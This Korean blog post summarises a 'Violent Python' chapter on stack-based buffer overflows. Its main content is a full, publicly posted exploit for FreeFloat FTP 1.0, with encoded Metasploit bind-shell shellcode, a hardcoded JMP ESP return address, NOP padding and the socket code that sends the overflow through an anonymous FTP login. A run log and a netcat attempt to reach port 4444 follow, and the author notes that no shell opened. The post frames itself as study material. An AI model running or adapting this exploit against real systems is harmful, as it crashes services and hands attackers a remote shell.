Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.
해커의 언어, 치명적 파이썬 – CHAPTER 1 소개
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 포트 스캐너 만들기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – FTP와 웹을 이용한 대규모 공격
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 컨피커 노력하면 된다
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 제로 데이 개념의 공격 코드 개발하기
2.6 제로 데이 개념의 공격 코드 개발하기
– 메타스플로잇 프레임워크에는 약 800여개 이상의 공격코드 탑재
– 공격코드를 직접 작성해야 할 경우, 파이썬을 이용해서 과정을 단순화
– 버퍼 오버플로우 개념이해
2.6.1 스택 기반의 버퍼 오버플로우 공격
– 사용자의 입력값을 검증하지 않고 사용하여 EIP의 값을 덮어씀으로 공격자가 올린 쉘코드를 실행하도록 함
– 스택 기반의 버퍼 오버플로우는 공격코드 벡터의 원조격(많이 있고, 계속 증가중)
– 스택 기반의 버퍼 오버플로우 공격코드의 핵심적인 요소들
1. 오버플로우 : 스택에 할당되어있는 겂보다 더큰 입력값을 사용자가 입력하는것
2. 리턴주소 : 스텍의 맨위로 직접 점프하는데 사용되는 4바이트 주소
3. 패딩 : 쉘코드앞에있는 NOP(no operation) 지시들. 이것은 공격자가 짇접 점프하여 주소를 추측할수 있게 해준다.
4. 쉘코드 : 어셈블리언어로 작성된 코드조각
2.6.2 공격의 핵심 요소 추가하기
– shellcode변수 : 메타스플로잇 프레임워크로 생성한 페이로드를 핵사값으로 인코딩하여 포함
– overflow변수 : 알파벳 A를 246개 포함
– return주소변수 : 스텍의 맨위로 직접 점프하게 하는 kernel32.dll의 주소
– padding변수 : 150개의 NOP 지시 포함
– crash변수 : 위의 모든변수를 하나로 만듬
2.6.3 악성코드 전송하기
– Berkeley Socket API으로 공격대상 호스트의 TCP 21 포트에 연결
– 연결 성공시 익명의 사용자 이름과 페스워드 정송
– FTP명령 “RETR”과 crash 변수를 전송
2.6.4 공격코드 모두 통합하기
– 패킷스톰(http://packetstormsecurity.com/)에 포스팅된 프레이만(Freyman)의 원본 공격코드가 완성
– FreeFloat FTP를 WindowsXP SP2, SP3 에 설치하고 테스트
– 프레이만은 취약한 공격대상의 TCP 4444포트에 바인딩하는 쉴코드를 사용
– 공격코드 실행후, netcat을 사용해 4444에 연결
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
#!/usr/bin/Python #Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows #Author: Craig Freyman (@cd1zz) #Date: July 19, 2011 #Tested on Windows XP SP3 English #Part of FreeFloat pwn week #Vendor Notified: 7-18-2011 (no response) #Software Link: http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php import socket,sys,time,struct if len(sys.argv) < 2: print "[-]Usage: %s <target addr> <command />" % sys.argv[0] + "\r" print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick." print "[-]Other options: AUTH, APPE, ALLO, ACCT" sys.exit(0) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2: platform = sys.argv[2] #./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20" #[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9" "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f" "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8" "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7" "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5" "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c" "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0" "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49" "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96" "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82" "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf" "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41" "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f" "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a" "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b" "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a" "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3" "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea" "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8" "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6" "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea" "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30" "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53" "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85" "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25" "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10" "\xba\x1e\x53\x31") #7C874413 FFE4 JMP ESP kernel32.dll ret = struct.pack('<L', 0x7C874413) padding = "\x90" * 150 crash = "\x41" * 246 + ret + padding + shellcode print "\ [*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow\n\ [*] Author: Craig Freyman (@cd1zz)\n\ [*] Connecting to "+target s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((target,21)) except: print "[-] Connection to "+target+" failed!" sys.exit(0) print "[*] Sending " + `len(crash)` + " " + command +" byte crash..." s.send("USER anonymous\r\n") s.recv(1024) s.send("PASS \r\n") s.recv(1024) s.send(command +" " + crash + "\r\n") time.sleep(4) |
실행결과
1 2 3 4 5 6 7 |
# python freefloat.py 192.168.110.128 PWND [*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow [*] Author: Craig Freyman (@cd1zz) [*] Connecting to 192.168.110.128 [*] Sending 768 PWND byte crash... # nc 192.168.110.128 4444 (UNKNOWN) [192.168.110.128] 4444 (?) : Connection timed out |
스크립트를 실행을 하면 아래와 같이 Freefloat 가 crach가 발생하고 다운이 되지만, nc으로 4444 포트로 접속되지는 않는다..ㅠ
5 Responses to 해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 제로 데이 개념의 공격 코드 개발하기